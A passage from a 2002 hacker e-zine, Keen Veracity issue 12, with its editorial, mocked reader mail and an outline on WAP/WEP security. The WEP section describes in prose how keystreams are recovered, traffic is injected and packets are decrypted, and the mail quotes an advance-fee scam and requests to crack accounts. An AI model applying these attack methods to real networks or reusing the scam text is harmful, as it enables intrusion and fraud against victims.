--------------------------------------------------------------------------------
 _    _                    _    _                      _                        
| |  / )                  | |  | |                    (_)_         
| | / / ____ ____ ____    | |  | |___  ____ ____  ____ _| |_ _   _ 
| |< < / _  ) _  )  _ \    \ \/ / _  )/ ___) _  |/ ___) |  _) | | |
| | \ ( (/ ( (/ /| | | |    \  ( (/ /| |  ( ( | ( (___| | |_| |_| |
|_|  \_)____)____)_| |_|     \/ \____)_|   \_||_|\____)_|\___)__  |
                                                            (____/ 
--------------------------------------------------------------------------------
I S S U E (12)                  L e g i o n s  o f  t h e  U n d e r g r o u n d
-------------------------------------------------[www.legions.org]--------------



[LoU]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=[LoU]
                        W W W . L E G I O N S . O R G
[LoU]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=[LoU]


[CONTENTS]------------------------------------------------------------[CONTENTS]

[1]==============================[Editorial - Digital Ebola <digi@legions.org> ]
[2]=====================================================[KV Spam - The Readers ]
[3]============================[Hacking WAP/WEP - NtWaK0 <ntwak0@safehack.com> ]
[4]======[KV's 30 Second Scripting Solution - Digital Ebola <digi@legions.org> ]
[5]====[XMMS-Winamp How-To for Gentoo Linux - feach <blie@cylentkreationz.com> ]
[6]===========================[Your Privacy and HP - b0ld <submit@legions.org> ]
[7]==============[Phone Phreaking Lives with AT&T - Cobra <cobra@hfactorx.org> ]
[8]==========[Security Method and Technique - Digital Ebola <digi@legions.org> ]
[9]==============[Java Virii - Archimedes <archimedes@security-foundation.net> ]
[10]=========[The Scene Is Seen As Absolute Shit - 2dHero <submit@legions.org> ]
[11]================[Linux C Socket Programming - ??????? <submit@legions.org> ]
[12]======[Dallas Metroplex Wardriving Data - Digital Ebola <digi@legions.org> ]
[13]========================[Seattle Wardriving Data - pr00f <pr00f@pr00f.org> ]
[14]======[OpenSSH Update Script - Gridmark <gridmark@planetmotherfucker.net > ]
[15]==============================================[Random Rants - Random People]
[16]========[Travel - Tips for Visiting Holland - Rewben <ruben@generation.nl> ]
[17]=================[Sex and Geeks Do Not Mix - Vecna <vecna@insertcoint.net> ]
[18]============================[Hey, Big Brother - Yarddog <yard@legions.org> ]
[19]=====[The Escalation to Economic Turmoil - OverDose <overdose@legions.org> ]
[20]=====[How To Hack your Way Out Of A Paper Box - Kiddish <kiddish@hehe.com> ]
[21]=========================[Delirious IDS - Digital Ebola <digi@legions.org> ]
[22]=====[Custom TCP Port Scanning using IP Sorcery - Case <phric@legions.org> ]
[23]=================[Business for Dummies - eDfGr33n <blooddjinn@hotmail.com> ]
[24]=============[The New Hackers Manifesto - Digital Ebola <digi@legions.org> ]
[25]======================================[SIGHUP - Legions of the Underground ]

[LoU]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=[LoU]
                        W W W . L E G I O N S . O R G
[LoU]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=[LoU]


--------------------------------------------------------------------------------
[Editorial]======================================================[Digital Ebola]
--------------------------------------------------------------------------------


Ahh.. I put together almost half of this issue before thinking of a proper 
editorial for KV12. I am slipping in my old age... Lets see, the date 
of this editorials writing is 7-27-2002, it has been a LONG time since we 
released a Keen Veracity, and alot has happened. Lots of new legislation, 
lots of new antics by the RIAA and the MPAA.. now they seem to want a law 
that allows them to hack into your computer if they suspect you of pirating..
Stranger things have happened, but laughable all the same...

Hmmm.. okay, let's be controversial. Right now, the way I see things, is there
is a war in the "underground". On one side of the house, we have these 
so-called "whitehat" hackers. And on the otherside, we have these so called 
"blackhat" hackers. Basically, the blackhats are hacking the shit out of the 
whitehats, saying that the whitehats have soldout. 

This in its self is quite laughable. 

From what I see, the blackhats actually moonlight as whitehats. Alot of them
do it for free, its their passion.. but they also do the same things for a
living... no they may not be so apt to whore for attention on bugtraq, or 
whatever, but they are working in security all the same. At this point, its
no longer a war with blackhat vs whitehat; rather its a "calling out" - 
the whores are being called out, some are shown for their actual skillsets,
some are being shown in lies, and all skeletons are out of the closet. 

Some anarchy is always good for progress. 

Is this still what it seems? Maybe.. maybe not. Let me change subjects for 
a second... One of the many written gripes I have seen among the "underground"
is that the security industry is driven by the script kiddies and the security
companies... Yes, I would have to agree here. This is something akin to 
the window guy in NYC who had bad business, so he went down 5th avenue breaking
out windows... Integrity in the industry is often questionable, and it has 
nothing to do with a background check, or who the person knows.. 

It's all about the Benjamins baby. 

Selling out is NOT doing what you love  for a living. Selling out is NOT 
publishing you work. Selling out is NOT putting your all into your 
hobbie/profession; your heart, soul, blood, sweat and tears. 

No. Selling out is craving attention so bad, that you will sit down and 
write a "killer virus" - and then release it a couple weeks later... and 
THEN, "discover" it.  THAT is selling out. I am not talking about just 
individules here.. but entire security companies... 

Selling out is discrediting your competitors thru illegal means so your 
company can get a piece of the pie. When a company issues "hits" against
key individules in a security organization in order to de-throne that 
organizations market share... THAT is selling out. 

Of course, all of these examples are pure fiction.. none of this really
happens... what was I talking about again? 

Oh.. I was getting ready to get on my OpenBSD rant. I love OpenBSD. Not
for its "security model" but rather because its compact BSD that runs on 
a sparc. The "security" is a added feature, that according to some 
sources in the "industry/underground" was never a feature at all. I know 
of people that have possessed bugs and exploits for the OS that were never 
published. I know people that have gotten flame emails for finding problems.
This is not security. This is madness. 

Let's get down to brass tacks. Everything can be hacked. Just because you say
you havent had a remote exploit in X amount of years, doesn't mean it is so.
Just because you say there isn't a problem, doesn't make it so. 

If you have a ego about it, you WILL be tested. You have to have complete
integrity, hold nothing back, and have full disclosure. There is nothing 
wrong about being wrong, but the minute you refuse to accept your error, 
you are worse then being wrong; you have lost integrity. 

So, I guess this issue's editorial is a little off the wall, pay no 
attention, it is just me blowing off steam. All that I ask of the reader 
is to not forget why we all got started playing this game in the first 
place; because we love the game, and we love technology. Blessed is the 
person that can be paid to do what they love. 

By the way, selling out, IS SACRIFICING FULL DISCLOSURE FOR THE ALMIGHTY
DOLLAR. 

With that mindless rant, I give you Keen Veracity 12. =)

P.S. We will see everyone at Defcon X, this one is sure to be interesting!

--------------------------------------------------------------------------------
[KV Spam]==========================================================[The Readers]
--------------------------------------------------------------------------------


Date: Sat, 01 Sep 2001 03:33:12 EDT
From: KASEAhmed@aol.com
To: digiebola@hackphreak.org
Subject: Hotmail Password

Dear Friend,

I have a life and death situation here but I need a password for
nawrin_iqbal@hotmail.com. Can you please help me? Please get back to me as   
soon as possible.

     Sincerely,

     A Person In Need
 

/* Well, considering I havent gotten back to you, I can only assume that 
   someone has died. Our bad! */



*------------------------------------------------------------------------------*

Date: Wed, 31 Jul 2002 11:43:24 +0000
From: kings town <kingstown417@hotmail.com>
To: submit@legions.org
Subject: urgent reply

#20 BOTHA CRESCENT,
SADTON,JOHANNESBURG,
SOUTH AFRICA.
kingstown417@hotmail.com
Dear sir,

In order to transfer out (USD 126 M) One hundred and
twenty six million United States Dollars) from African
Development Bank. I have the courage to ask you to
look for a reliable and honest person who will be
capable for this important business believing that you
will never let me down either now or in future.

I am MR.kings town,the Chief auditor of African
Development Bank (ADB).
There is an account opened in this bank in 1980 and
since 1990 nobody has operated on this account again.
After going through some old files in the records, I
discovered that if I do not remit this money out
urgently it would be forfeited for nothing. The owner
of this account is Mr. Smith B.Andreas, a foreigner,
and a miner at kruger gold co., a geologist by
profession and he died since 1990. No other person
knows about this account or any thing concerning it,
the account has no other beneficiary and my
investigation proved to me as well that this company
does not know anything about this account and the
amount involved is (USD 126M) One hundred and twenty
six million United States Dollars million dollars.

I want to first transfer USDM twenty six million
United States Dollars from this money into a safe
foreigners account abroad before the rest, but I don't
know any foreigner.
I am only contacting you as a foreigner because this
money cannot be approved to a local bank here, but can
only be approved to any foreign account because the
money is in us dollars and the former owner of the
account is Mr. Smith B.Andreas he is a foreigner too.

I know that this message will come to you as a
surprise as we don't know ourselves before. We will
sign an agreement, but be sure that it is real and a
genuine business.

I only got your contact address from my secretary
who operates computer, with believe in God that you
will never let me down in this business. You are the
only person that I have contacted in this business; so
please reply urgently so that I will inform you the
next step to take immediately.
Send also your private telephone and fax number
including the full details of the account to be used
for the deposit. I want us to meet face to face or
sign a binding agreement to bind us together so that
you can receive this money into a foreign account or
any account of your choice where the fund will be
safe. And I will fly to your country for withdrawal
and sharing and other investments.

I am contacting you because of the need to involve a
foreigner with foreign account and foreign
beneficiary. I need your full co-operation to make
this work fine because the management is ready to
approve this payment to any foreigner, who has correct
information of this account, which I will give to you
later immediately, if you are able and with capability
to handle such amount in strict confidence and trust
according to my instructions and advice for our mutual
benefit because this opportunity will never come again
in my life. I need truthful person in this business
because I don't want to make mistake I need your
strong assurance and trust.

With my position now in the office I can transfer this
money to any foreigner's reliable account, which you
can provide with assurance that this money will be
intact pending my physical arrival in your country for
sharing. I will destroy all documents of transaction
immediately we receive this money leaving no trace to
any place. You can also come to discuss with me face
to face after which I will make this remittance in
your presence and two of us will fly to your country
at least two days ahead of the money going into the
account.

I will apply for annual leave to get visa immediately
I hear from you that you are ready to act and receive
this fund in your account. I will use my position and
influence to effect legal approvals and onward
transfer of this money to your account with
appropriate clearance forms of the ministries and
foreign exchange departments.

At the conclusion of this business, you will be given
35% of the total amount, 60% will be for me, while 5%
will be for expenses both parties might have incurred
during the process of transferring.

I look forward to your earliest reply.
Yours truly,
kings town


/* Who doesnt get these? Okay.. we are all kings.. send us your dosh. */



*------------------------------------------------------------------------------*

te: Wed, 17 Jul 2002 23:57:50 EDT
From: XIXthLegion@aol.com
To: submit@legions.org
Subject: great name

i like your name :)


/* Thanks. So do I. */

*------------------------------------------------------------------------------*

Date: Sun, 14 Jul 2002 02:45:09 +0800 (CST)
From: Christine Hall <bounce@trafficmagnet.net>
Reply-To: Christine Hall <christinehall@trafficmagnet.net>
To: submit@legions.org
Subject: HTTP://LEGIONS.ORG
Parts/Attachments:
   1   OK     26 lines  Text (charset: Unknown)
   2 Shown    57 lines  Text (charset: Unknown)
----------------------------------------


     [ Part 1, Text/PLAIN (charset: Unknown "utf-8")  26 lines. ]
     [ Not Shown. Use the "V" command to view or save this part. ]
     [ The following text is in the "utf-8" character set. ]
     [ Your display is set for the "US-ASCII" character set.  ]
     [ Some characters may be displayed incorrectly. ]

  Hi
			  
I visited HTTP://LEGIONS.ORG, and noticed that you're not listed on some
search engines! I think we can offer you a service which can help you
increase traffic and the number of visitors to your website.

I would like to introduce you to TrafficMagnet.net. We offer a unique
technology that will submit your website to over 300,000 search engines
and directories every month.

[img_tm.gif] [img_website.gif] [img_signup.gif]
You'll be surprised by the low cost, and by how effective this website
promotion method can be.

To find out more about TrafficMagnet and the cost for submitting your
website to over 300,000 search engines and directories, visit
www.TrafficMagnet.net.

I would love to hear from you.
Best Regards,

Christine Hall
Sales and Marketing
E-mail: christine@trafficmagnet.net
http://www.TrafficMagnet.net

 

 This email was sent to submit@legions.org.
 I understand that you may NOT wish to receive information from me by
 email.
 To be removed from this and other offers, simply click here.
 

/* Bitch, we didn't subscribe to your list. We don't want your service. 
   You are just pissing us off. Stop it. */


*------------------------------------------------------------------------------*

Date: Sun, 30 Jun 2002 17:38:58 -0700 (PDT)
From: lady_alisha@yahoo.com
To: submit@legions.org
Subject: ?dunno how to name it
Parts/Attachments:
   1   OK     5 lines  Text
   2 Shown    1 lines  Text
----------------------------------------


    [ Part 1, Text/PLAIN  5 lines. ]
    [ Not Shown. Use the "V" command to view or save this part. ]

this may sound verry unrealistic...lol but i thaught since this is a
share knowledge someone could help me...hmmm absurde what i am doing
lol.....or dunno i hope not.....i am searching for a way to get passwords
on a g'damn site(www.audiogalaxy.com) is a pice of cake for someone who
knows programming n stuff but for me is hell....spent the last 3 months
searching the net for a way to steal ppls cookies or so....hmmm
something....used to have a stupid pw guesser progr(huh pretty stupid
lol).....but doesnt work anymore......n now hmmm i am on a dead
line....thaugh maybe someone could help me....gimme some directions
...hmmm i dunno what else i could say..... ty for readding mynonsense...        
  

/* Please dont steal our cookies. We have to eat! WE NEED THOSE COOKIES! */

________________________________________________________________________________
Do You Yahoo!?
Sign-up for Video Highlights of 2002 FIFA World Cup



*------------------------------------------------------------------------------*

Date: Sun, 19 May 2002 16:26:12 -0400
From: James Dearborn <-oilandgasremoval@aol.com>
To: submit@legions.org
Subject: ADV Oil and Gas Investment

    [ The following text is in the "iso-8859-1" character set. ]
    [ Your display is set for the "US-ASCII" character set.  ]
    [ Some characters may be displayed incorrectly. ]

How would you like a 100% tax free Investment in Oil and Gas wells? 
Make over 100% annually and receive monthly tax free Income with 
very low risk. Email your name, address, and phone number to 
oilandgaspackage@aol.com and we will send you the information.

=======================DISCLAIMER==========================
This is Not spam as you and I belong to the Free-Email-List.
To be removed Put "Please remove me and your email address" in the 
subject line.
Then send it to: oilandgasremoval@aol.com
***YOU MUST put your email address in the subject line to be Removed,

===========================================================

/* This is spam. Fuck off. We didn't sign up on your list. This is the 
   submissions account for a bunch of pissy people and your stupid 
   schemes are pissing us off more. */

*-----------------------------------------------------------------------------*

Date: Wed, 27 Feb 2002 23:16:57 +0000
From: Haqa .. <sswwtt21@hotmail.com>
To: submit@legions.org


hi is this the L.O.U, coz if it is u guys are cool, i think u guys ohh
sorry 
gals if any (i dont know maybe) are soo spot on i show that whitepower 
website u did over and i think u lot r cool and all the respect goes out
to 
u.





*********************amjad ali*****************************


/* Thanks. Did we fall into a timewarp or something? */


*-----------------------------------------------------------------------------*

From: LB680KBR@aol.com
To: submit@legions.org
Subject: Cell Phone
Parts/Attachments:
   1   OK     7 lines  Text
   2 Shown    4 lines  Text
----------------------------------------


    [ Part 1, Text/PLAIN  7 lines. ]
    [ Not Shown. Use the "V" command to view or save this part. ]

Hi, I read in the monthly magazine about a cell phone service offered to
members.  The article said for more information to check the web site.  I
have looked and can't find anything about it.  Please e-mail me this
information or the site to check.

Thanks
R. E. Marlar


/* Please re-read. We offer no such service. Of course, for a phenominal fee...
*/

*-----------------------------------------------------------------------------*

Date: Tue, 13 Nov 2001 11:08:08 +0000
From: Pamela O'Shea <9843981@student.ul.ie>
To: submit@legions.org
Subject: ipsorc.1.0.tar.gz

Hi,
      
I am wondering where I could download ipsorc.1.0.tar.gz please ? as
I'm writing an automated tool for testing firewalls and am interested in
your packet generator. Its really nice that you have TTL :) My tool will
try and throw all sorts of variations on the firewall by default or the
administrator can choose what packets to form for the test. I am hoping
to compelety automate it, ie. to go from writing the security policy to
testing using a designed language, so it would be great to try out your
packet generator </thnx>

Regards,
P. O'Shea

/* There is a link on www.legions.org, as well as www.legions.org/~phric/ */

*----------------------------------------------------------------------------*

Date: Sat, 13 Oct 2001 14:48:44 +1100
From: BwY BwY <bewiyu@msn.com>
To: submit@legions.org
Subject: survey  PS you guys 0wn


Legions of the Underground member/regular/luser survey.

Legions Survey made possible because WGMATATS
Tip: if you dont answer all the questions you will be savagely beaten to
a
bloody pulp by Gridmark and Phriction.

Thank you and Enjoy!


1. Do you know you know what WGMATATS stands for?
nope

2. What is your favorite unsigned long int?
not sure

3. What is your handle?(alias,nickname,AKA)
BwY

4. What is the origin of your handle?(where did you get it from)
My initials(shhh dont tell anyone)

5. Who in legions do you think is the most likely to get arrested and for
   what?
Dont know, just traveled along to here

6. BeOS or MacOS?
BeOS, MacOS sux0rs 455

7. touch or finger?
finger

8. telnet or ssh?
telnet

9. Do most of the people you know refer to you by your handle?
no

10. What is your favorite protocol?
tcp/ip

12. Favorite Daemon?
firewall

13. Usual bathroom reading?
learn c in 21 days

14. Have you ever had sex with someone who could code Hello world in
    assembly language?
not yet

15. Binary?
not yet

16. Do you own a pair of keys to a local ATM machine?
i wish i did

17. Do you know what a scenewhore is?
hell yeah

18. Are you one?
hell no

19. What must someone do to be elite?
act cool, h4x0r, use linux, 0wn winblowz boxes

20. Have you ever tried to nuke someone?
hell yeah

21. Do you have a root dance?
not yet

22. Have you ever owned a box stoned? or drunk?
not unless drunk on mtn dew counts ;)

23. Have you ever wrote root@127.0.0.1 as your address on a job
application?
not yet, but good idea

24. Have you ever rooted yourself?
yup

25. Favorite book?
learn c in 21 days

26. Favorite Car?
nissan 300zx twin turbo, year 1990

27. Favorite color?
red

28. Do you look at mullet porn?
nope

29. Mountain Dew || Coffee?
Mountain Dew

30.

Multiple Choice Section

Just fill in the _'s with x's if you dont get it you suck.

Do you think this Survey is a threat to your security?
_[3y3 pj33r] x[no... dumbass]

Do you take large amounts of caffene and then lie about it the next day?
_[Admitted Addict.] x[no, and im stickin to it]

Do you have a 1Mbit+ connection running to your house?
_[yep] x[nien]

Do you have more than 10 computers in any one room of your house?
x[si] _[no]

Do you run around your house with a lampshade on your head sayin
"Hi! ima squid!"? _[yay] x[nay]

What are your "m4d sk1llz y0h"?
x[i r00t stuff] _[skript kid] _[clubie crackhead fucknut] _[whats a 
computer?]

What is your current rate of income?
_[Under 10,000] _[11,000+] _[50,000+]
_[100,000+]     _[31,337]  x[None of your fucking business Gridmark.]

How much time do you "use" playing games?
x(approx. 22 hrs a day, rest is spent making people ph34r m3)[hrs]

Do you use 31337'isms?
x[y34 b1z47ch] _[No sir]

Do you have MtDew cans flying at your head blindingly fast? (i.e. 
commercial)
_[WATCH OUT!] x[whatchu talkin bout willis?]

Do you like me?  x[i lub j00] _[fsck you bitch]

Are you a chick? _[yea baby] x[3y3 41nt gn0 ch1x0r]
        *//////////////*

                        */   Sorry,   /*
How much do you like me? x[this is] x[getting tedious]
    */ I'm Lonley /*

                        *//////////////*
if [$lastquestion == yes]; then "can i r00t you?" x[no way in hell 
Gridmark.]

Sexiest stooge? Larry or Moe? _[larry] _[moe] _[shemp] x[nuyk nuyk]

Are you bored yet _[zzzzz] x[CMON MAN KEEP GOING]

Who selected the second answer to the last question? _[not me] _[not me] 
x[me]

EOF


/* FREAK! FREAK! FREAK! */








--------------------------------------------------------------------------------



			T H I S  S P A C E  F O R  R E N T 



--------------------------------------------------------------------------------
[Hacking WAP/WEP]================================[NtWaK0 <ntwak0@safehack.com> ]
--------------------------------------------------------------------------------

----------------------------------------------
---> Hacking WAP/WEP NtWaK0 @ Legions.org <---
----------------------------------------------
              ##  #### ####    ######
              #  #  #   # #     #   ##
              # ## ##   #  #    #   ##
              # # ##   #####    ####
              ### ##  ##    #   #
              ##  ## ###   ### ####
----------------------------------------------
---> Hacking WAP/WEP NtWaK0 @ Legions.org <---
----------------------------------------------
HTML MAP can be found at www.safehack.com/textware/kvwak0.htm
MS word doc can be found at www.safehack.com/textware/kvwak0.htm

----------------------------
---> 1 Standards Groups <---
----------------------------
1.1 IEEE
1.1.1 IEEE 802.11
    o Published in June 1997
    o Approved as an IEEE standard June 2001
    o 2.4GHz operating frequency
    o 1 to 2 Mbps throughput
    o 802.1X ~SNetwork Port Authentication~T
    o CSMA/CA instead of Collision Detection
    o Carrier Sense Multiple Access/Collision Avoidance
    o WLAN adapter cannot send and receive traffic at the same time
    o  Hidden Node Problem
    o Four-Way Handshake
				    

---> 802.1X Topologies <---
o Per-Station unicast session keys
    o 1. Keys derived on client and the RADIUS server
    o 2. RADIUS server transmits key to access point
    o 3. Unicast keys can be used to encrypt subsequent traffic
    
o Per-Station unicast session keys not required

o What is ad-hoc networking?
    o 1. Station communicating directly with other stations
    o 2. All stations authenticate with each other
    o 3. RADIUS not used in ad-hoc mode
    o 4. Key Management
	o 1. Password-based mutual authentication
	o 2. Secure key generation
        o 3. EAP-TLS: supports mutual authentication, keying
	o 4. EAP-TLS assumes both participants have a certificate
	o 5. EAP-TLS does not assumes client and server
    o 5. Issues with Adhoc
    
    o 1. Multiple interconnections to destinations
    o 2. Hidden stations
    o 3. Loops in the network
    
---> IEEE 802.11a <---
    o Also published in late 1999 as a supplement to 802.11
    o Operates in 5GHz band (less RF interference than 2.4GHz range)
    o Users Orthogonal Frequency Division Multiplexing (OFDM)
    o Supports data rates up to 54 Mbps
    o 802.11a and 802.11b work on different frequencies

    
---> IEEE 802.11b WEP <---
    o Published in late 1999 as supplement to 802.11
    o Access Point  gateway to wired network
    o 11 channels
    o Still operates in 2.4GHz band
    o 2.4 GHz, 25 MHz per channel
    o Data rates can be as high as 11 Mbps
    o 11 Mbits/sec (actually 5 Mbits/sec data throughput)
    o Only direct sequence modulation is specified
    o Coverage range will decrease as MB increases
    o Most widely deployed today
    o 802.11b will start at 11MB and will decrease to 5.5MB, 2MB, and 1MB
    o Two levels of encryptions
	 o 1. 40-bit key (aka, silver, 64-bit)
	 o 2. 104-bit key (aka, gold, 128-bit)
    o Encryption key and Initialization Vector
    	o 1. IVs taken from 2^24 range
	o 2. IV is transmitted clear
	o 3. Key is not transmitted

---> IEEE 802.11e  Quality of Service <---
	o Currently under development
	o Working to improve security issues
	o Extensions to MAC layer, longer keys, and key management systems
	o Adds 128-bit AES encryption

---> HiperLAN/2 <---
    o Development led by the European Telecommunications Standards Institute (ETSI)
    o Operates in the 5 GHz range, uses OFDM technology
    o Support data rates over 50Mbps like 802.11a
    o HiperLAN/2 is not interoperable with 802.11a or 802.11b

---> 802.11f Inter-Access Point Protocol <---
---> 802.11i Extended security <---
---> 802.1w  Spanning tree rapid convergence <---

---> Packet Structure <---
o Ethernet Packet Structure
    o 14 byte header
    o 2 addresses
	
o 802.11 Packet Structure
    o 30 byte header
    o 4 addresses
	
o Ethernet Physical Layer Packet Structure
    o 8 byte header (Preamble)

o 802.11 Physical Layer Packet Structure
    o 24 byte header (PLCP, Physical Layer Convergence Protocol)

---> 802.1X authentication in 802.11 <---

   o IEEE 802.1X authentication occurs after 802.11 association or reassociation
   o Association/Reassociation serves as ~Sport up~T within 802.1X state machine
   o If 802.1X authentication succeeds, access point removes the filter
   o 802.1X messages sent to destination MAC address
   o Client, Access Point MAC addresses known after 802.11 association
   o Access point only accepts packets with source = Client and Ethertype

------------------
---> 1.2 IETF <---
------------------
1.2.1 RADIUS & AAA
    o Authentication
    o Authorization
    o Accounting
1.2.2 PPPEXT  (EAP)
    o Extensible Authentication Protocol
1.2.3 IPsec and IPSRA IPsec and VPNs

------------------------
---> 2 What is WAP? <---
------------------------

---> 2.1 Basic <---

---> 2.2 HTTP/HTML adjusted to small devices <---
---> 2.3 Consists of
	o 2.3.1 Network architecture
	o 2.3.2 Protocol stack
		
---> WAP Transport Layer WDP <---
    o An adaptation layer to the bearer protocol
    o Source and destination address and port
    o Optionally fragmentation
    o Maps to UDP for IP bearer
		
---> WAP Security Layer WTLS <---
    o TLS adapted to the UDP-type usage by WAP
    o Encryption and authentication
    o Several problems identified
	    
---> Vulnerabilities within the Wireless Application Protocol <---
http://www.sans.org/infosecFAQ/wireless/WAP.htm

    o 1. Weak MAC
    o 2. RSA PKCS#1
    o 3. Unauthenticated alert messages
    o 4. Plaintext leaks

---> WAP Transaction layer WTP <---
  o Three classes of transactions
  	  o 1. Class 0: unreliable
  	  o 2. Class 1: reliable without result
  	  o 3. Class 2: reliable with result
  o No security elements at this layer
  o Protocol not resistant to malicious attacks
  
---> WAP Session Layer WSP <---
    o Meant to mimic the HTTP protocol
    o No mention of security in spec except for WTLS
    o Distinguishes a connected and connectionless mode
    o Connected mode is based on a SessionID given by the server

---> WAP Application Layer WAE <---

2.3.3 Wireless Markup Language (WML)
    o WML based on XML and HTML
    o Not pages of frames, but decks with cards
    o Images: WBMP, WAP specific
    o Generally all compiled to binary by WAP gateway
    
---> Additional area of potential problems
    o The WAP Javascript equivalent
    o Located in separate files
    o Also compiled by WAP gateway
    o Allows automation of WML and phone functions

---> 2.4 WAP Infrastructure issues <---
---> 2.4.1 Attacking a dialed in phone <---

---> 2.4.2 Spoofing another dialed in phone <---
---> 2.4.3 Attacking the gateway <---

---> 2.4.4 Collusion attack <---

------------------------
---> 3 What is EAP? <---
------------------------

    o 3.1 Extensible Authentication Protocol (RFC 2284)
    o 3.2 Provides a flexible link layer security framework
    o 3.3 Simple encapsulation protocol
        o 3.3.1 No dependency on IP
	o 3.3.2 ACK/NAK, no windowing
	o 3.3.3 No fragmentation support
    o 3.4 Few link layer assumptions
        o 3.4.1 Can run over any link layer (PPP, 802, etc.)
        o 3.4.2 Does not assume physically secure link
    o 3.5 Assumes no re-ordering
    o 3.6 Can run over lossy or lossless media
    o 3.7 EAP methods based on IETF standards
        o 3.7.1 Transport Level Security (TLS)
	o 3.7.2 Secure Remote Password (SRP)
	o 3.7.3 GSS_API (including Kerberos)

-------------------------
---> 4 What is WEP ? <---
-------------------------

---> 4.1 Introduction <---

---> 4.1.1 All users of a given access point share the same encryption key
---> 4.1.2 Data headers remain unencrypted so anyone can see the source and dest

---> 4.2 Attacks Against WEP <---
    o Passive attacks to decrypt traffic based on statistical analysis.
    o Active attack to inject new traffic.
    o Active attacks to decrypt traffic, based on tricking the access point.
    o Dictionary-building attack

---> 4.2.1 War Driving <---
    o Default installation allow any wireless NIC to access the network
    o Drive around (or walk) and gain access to wireless networks
    o Provides direct access behind the firewall
    o Heard reports of an 8 mile range using a 24dB gain parabolic dish antenna 

---> 4.2.2 Rogue Networks <---
o Network users often set up rogue wireless LANs to simplify their lives
o Rarely implement security measures
o Network is vulnerable to War Driving and sniffing and you may not even know it

---> 4.2.3 Policy Management <---
    o Access is binary
    o Full network access or no network access
    o Need means of identifying and enforcing access policies

---> 4.2.4 MAC Address <---
    o Can control access by allowing only defined MAC addresses
    o Only wireless card with listed MAC address can be served
    o This address can be spoofed
    o Must compile, maintain, and distribute MAC addresses to each access point
    o Not a valid solution for public applications
    o Unfortunately, MAC addresses are also sent clear in the air
    o Wireless card MAC address clone

---> 4.2.5 Service Set ID (SSID) <---
    o Only person who know SSID can be served
    o SSID is the network name for a wireless network
    o WLAN products common defaults: 101 for 3COM and tsunami for Cisco
    o Can be required to specifically request the access point by name
    o The more people that know the SSID, the higher the likelihood it will be missused.
    o Changing the SSID requires communicating the change to all users of the network
    o Unfortunately, SSID is broadcasted in the clear


---> 4.2.6 IV (key) reuse <---
Lack of replay protection allows IV values to be reused Collisions made possible
by small  IV space  in WEP  Enables statistical  attack against ciphertexts with
replayed IVs

---> 4.2.7 Known plaintext attack <---
Lots of known plaintext in IP traffic:  ICMP, ARP, TCP ACK, etc. Can send  pings
from Internet through AP to snooping attacker Enables recovery of key stream  of
length N for a given IV [Arbaugh] Enables statistical attack and recovery of Key
with known IVs [Fluhrer]

---> 4.2.8 Partial known plaintext <---
May only  know a  portion of  the plaintext  (e.g. IP  header, SNAP) Possible to
recover M octets of the keystream,  M < N Statistical analysis of  plaintext and
IV shows keystream bias [Shamir] Statistical analysis of plaintext and IV allows
Key recovery [Fluhrer] Via  repeated probing, can extend  keystream from M to  N
[Arbaugh]

---> 4.2.9 CRC32 <---
Linearity of algorithm  and absence of  Key use allows  for forgery Possible  to
flip bits in realtime, adjust CRC32 and cause denial of service

---> 4.2.10 Authentication forging <---
    o WEP encrypts challenge using IV chosen by client
    o Recovery of key stream for a given IV enables re-use

---> 4.2.11 Denial of service <---

---> 4.2.12 Dictionary attack <---

---> 4.2.13 Realtime decryption <---

---> 4.2.14 Passive Attack to Decrypt Traffic <---
The  first  attack  follows  directly  from  the  above  observation.  A passive
eavesdropper can intercept all wireless  traffic, until an IV collision  occurs.
By XORing two packets that use the same IV, the attacker obtains the XOR of  the
two plaintext messages. The  resulting XOR can be  used to infer data  about the
contents of the two messages. IP traffic is often very predictable and  includes
a lot of redundancy. This redundancy can be used to eliminate many possibilities
for the contents of messages.

---> 4.2.15 Active Attack to Inject Traffic <---
The following attack is also a  direct consequence of the problems described  in
the previous  section. Suppose  an attacker  knows the  exact plaintext  for one
encrypted message.  He can  use this  knowledge to  construct correct  encrypted
packets. The procedure involves constructing a new message, calculating the  CRC
-32, and performing bit  flips on the original  encrypted message to change  the
plaintext to the new message.  The basic property is that  RC4(X) xor X xor Y  =
RC4(Y).

---> 4.2.16 Active Attack from Both Ends <---
The previous  attack can  be extended  further to  decrypt arbitrary traffic. In
this case, the  attacker makes a  guess about not  the contents, but  rather the
headers of a packet. This information is usually quite easy to obtain or  guess;
in particular, all  that is necessary  to guess is  the destination IP  address.
Armed with this knowledge, the  attacker can flip appropriate bits  to transform
the  destination  IP  address to  send  the  packet to  a  machine  he controls,
somewhere in the Internet, and transmit it using a rogue mobile station.

---> 4.2.17 Table-based Attack <---
The small space of possible initialization vectors allows an attacker to build a
decryption table. Once he learns the  plaintext for some packet, he can  compute
the RC4 key  stream generated by  the IV used.  This key stream  can be used  to
decrypt all other  packets that use  the same IV.  Over time, perhaps  using the
techniques above, the attacker can build up a table of IVs and corresponding key
streams. This table requires a fairly  small amount of storage (~15GB); once  it
is built, the attacker can decrypt  every packet that is sent over  the wireless
link

-------------------
---> 5 Threats <---
-------------------

---> 5.1 Loss of Confidentiality <---
    o 5.1.1 Competitors
    o 5.1.2 Thieves
    o 5.1.3 Disruptors

---> 5.2 Identity Hijack

---> 5.3 Disruption of Functionality
    o 5.3.1 Viruses
    o 5.3.2 Trojan Horse
    o 5.3.3 Data Integrity

---> 6 Notes/Links
    o 6.1 Ports used by Wireless App
    o 6.1.1 Wap-wsp:9200/tcp WAP connectionless session service
    o 6.1.2 Wap-wsp:9200/udp WAP connectionless session service
    o 6.1.3 Wap-wsp-wtp:9201/tcp WAP session service
    o 6.1.4 Wap-wsp-wtp:9201/udp WAP session service
    o 6.1.5 Wap-wsp-s:9202/tcp WAP secure connectionless session service
    o 6.1.6 Wap-wsp-s:9202/udp WAP secure connectionless session service
    o 6.1.7 Wap-wsp-wtp-s:9203/tcp WAP secure session service
    o 6.1.8 Wap-wsp-wtp-s:9203/udp WAP secure session service

---> 6.2 Links
        o 6.2.1 WAP Wireless Certificate
